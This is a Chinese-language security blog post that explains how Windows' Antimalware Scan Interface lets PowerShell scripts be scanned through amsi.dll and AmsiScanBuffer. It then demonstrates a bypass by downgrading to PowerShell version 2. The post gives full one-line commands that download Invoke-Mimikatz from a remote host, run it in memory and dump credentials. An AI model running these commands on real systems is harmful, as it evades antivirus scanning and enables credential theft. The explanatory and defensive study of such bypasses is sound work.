<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    對反惡意軟件掃描接口的學習與思考

    VSole2021-07-21 10:00:17

    前幾天受到某位紅隊大佬指點了一波amsi接口限制powershell腳本的問題,隨即便深知自己的知識面不足,這其實是個很基礎的技術點,慚愧,于是便快速學習并產出此文,本文盡力通俗易懂,希望能幫到對這一塊不太熟悉的小伙伴。

    步入正題:

    微軟表示新的機制AMSI,能夠讓利用Windows內置host腳本隱蔽或混淆的惡意軟件無所遁形,基于AMSI接口的安全軟件能夠進行更深層次的監控,為系統提供更深層次的安全防護。安全軟件能通過AMSI接口掃描文件,內存、數據流等,進行內容源的URL/IP認證檢查,并采用技術手段識別惡意行為。用戶將可以更加方便地對基于動態腳本的惡意軟件和其他攻擊行為進行防范。

    而AMSI之所以如此高效的原因就在于,無論代碼是否經過了模糊處理,無論代碼被混淆到了什么樣的程度,當腳本需要在腳本宿主中運行時,它都必須是以清晰的、未經過混淆處理的明文代碼形式呈現給腳本宿主的。

    很多人認為他是負載在windows defender的上的,其實他是win10提供的相對獨立的接口,他是存在于操作系統里面的。

    就是這個東西:

    觸發他的規則

    不僅限制于powershell,我們查閱了微軟官方文檔發現,還包括了UAC,VBS等,基本上對所有的腳本語言做了識別

    綜合流程結構:

    黑名單機制

    首先他其實是一個黑白名單的機制,準確來說是個黑名單,當攻擊者有惡意操作時候,他就會提示并BAN掉

    存放名單的地方

    那么任何一種擁有黑白名單的機制的,他的名單都要有存放的地方,amsi接口默認是在defender里調用,所以暫時把他抽象的理解為一份存放著黑名單的數據庫吧(大膽的去理解)

    調用的程序

    那么我們要想調用這個名單,得有一個調用的程序  amsi.dll   他是一個dll文件,里面有兩個用的最多的函數

    在咱們的示例中,PowerShell將運用AMSI DLL導出的函數來掃描用戶輸入。假如以為無害,則履行用戶輸入,否則將阻撓履行并記載事件。

    AmsiScanBuffer,他是負責決定是否允許運行腳本的函數,比如PowerShell將在每次要評估任何PowerShell腳本時調用此函數

    這個函數的介紹展現了非常詳細的一些東西:

    他需要你輸入內容的名稱,包括內容一些指定的值



    很明顯,他是通過以黑白名單的方式測試你是否存在惡意的行為。

    另一個是AmsiScanString

    應用的場景

    比如打開powershell,UAC,VBA的等都是他的場景

    不管我們在powershell輸入什么東西的時候,他都會通過powershell去調用amsi,然后amsi再去調用查詢,也就是存放黑白名單的庫中去找,默認的是windows10的defender,只要你的實時保護是開著的,它默認就會調用defender里面存著的的黑名單,相當于他是個數據庫,這么牽強的理解也是可以的,中間調用的函數便是scanbuff

    powershell是通過什么去調用amsi.dll的呢?

    通過automation.dll去調用amsi.dll,amsi.dll里面有個函數是 AmsiScanBuffer,PowerShell將在每次要評估任何PowerShell腳本時調用此函數,用來調用defender里面的黑白名單

    調用問題

    通常第三方的軟件,比如360,火絨等,他們自己寫的調用接口,那么就不用調用默認的dfinder了,那么我們可以理解為,把amsi的接口接到了360or火絨上。

    為啥我們裝了360的電腦,操作net user添加用戶時候會彈窗告警呢?

    那就是因為他和dfinder的黑白名單寫了不一樣的東西,把他們認為具有威脅性的寫進了黑名單里面,比如敏感的powershell惡意操作,增加用戶的Add等等,所以amsi.dll最后去調用黑白名單的時候,調用的就是360or火絨的,所以他們就會彈窗告警。

    bypass amsi

    強制使用PowerShell v2繞過 amsi(前提是win10機器需要.net3.0以上)

    如果PowerShell v2可用,就用它,因為版本2沒有支持AMSI的必要內部掛鉤

    我們用原始powershell執行經典的抓密碼,可以看到是被amsi攔截的


    Invoke-Mimikatz
    

    powershell -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://192.168.52.134:6688/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
    



    powershell -Version 2 -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://192.168.52.123:6688/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
    

    如上圖,利用V2降級攻擊的方式,便不在攔截成功繞過了amsi愉快的抓到了密碼。

    繞過amsi的方式可太多了,例如修改注冊表,混淆,更經典的是DLL劫持,Hook等等,以后會專項出一篇繞過amsi的方式好文以供大家學習探討。

    參考:

    https://docs.microsoft.com/en-us/windows/win32/api/_amsi/

    https://cloud.tencent.com/developer/article/1590511

    總結:

    總的來說,AMSI針對的是那些采用PowerShell、VBScript、以及JScript等語言開發出來的惡意腳本,它可以大大提升惡意腳本的檢測準確率,并幫助用戶有效地屏蔽這類惡意腳本。在腳本宿主準備運行某一段腳本代碼之前,AMSI便會介入并嘗試掃描出代碼中潛在的惡意內容。但也不是不可繞過,繞過AMSI一直都是滲透師們熱門話題。

    powershell軟件接口
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    今年早些時候,研究人員分析了一年前出現的勒索軟件家族LockBit的內部工作原理,該公司很快與Maze和REvil一起成為了目標勒索業務的另一個參與者。正如在4月所觀察到的那樣,LockBit已經迅速成熟,它通過繞過Windows...
    前幾天受到某位紅隊大佬指點了一波amsi接口限制powershell腳本的問題,隨即便深知自己的知識面不足,這其實是個很基礎的技術點,慚愧,于是便快速學習并產出此文,本文盡力通俗易懂,希望能幫到對這一塊不太熟悉的小伙伴。
    微軟已將所有Office應用程序與防病毒軟件集成,以防止出現宏惡意軟件攻擊。該公司正在使用反惡意軟件掃描接口(AMSI)來處理嵌入在文檔中的VBA宏。最近,我們報道了黑客如何使用微軟Excel文檔來執行CHAINSHOT惡意軟件攻擊。這些類型的攻擊越來越普遍,黑客可以輕松訪問受害者的計算機。
    這凸顯了開發檢測惡意 PowerShell 命令的有效方法的迫切需要。在這項工作中,我們通過實施幾個新穎的惡意 PowerShell 命令檢測器并評估它們的性能來應對這一挑戰。在這項工作中,我們使用 AMSI 提供的信息對惡意 PowerShell 代碼檢測進行了首次研究。
    有關Windows防惡意軟件掃描接口(Antimalware Scan Interface,AMSI)的介紹,請參閱Antimalware Scan Interface (AMSI)。
    Malwarebytes威脅情報公司每月通過監控勒索軟件團伙在其暗網泄露網站上發布的信息來建立勒索軟件活動的圖景。這些信息代表的是那些成功被襲擊但選擇不支付贖金的受害者。
    在4月15日的每日Breach Pulse報告中,AdvIntel詳細描述了一項證實的Conti針對哥斯達黎加財政部的行動,作為他們整個攻擊的初始登陸點。在2022年4月11日感染后,威脅行為者開始進一步發展對哥斯達黎加的攻擊,導致全國各地的系統癱瘓。
    臭名昭著的LOCKBIT 2.0勒索軟件組織在過去幾個月非常活躍,與該勒索軟件相關聯的威脅參與者 (TA) 使用勒索軟件即服務 (RaaS) 業務模型。
    本文對如何利用 DCOM 進行橫向移動的手法進行了總結,希望可以對大家的學習提供一些幫助。
    自2017年WannaCry席卷全球以來,勒索軟件攻擊不斷升級、演變。如今的攻擊規模、影響及破壞效果都在顯著擴大,不容小覷。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类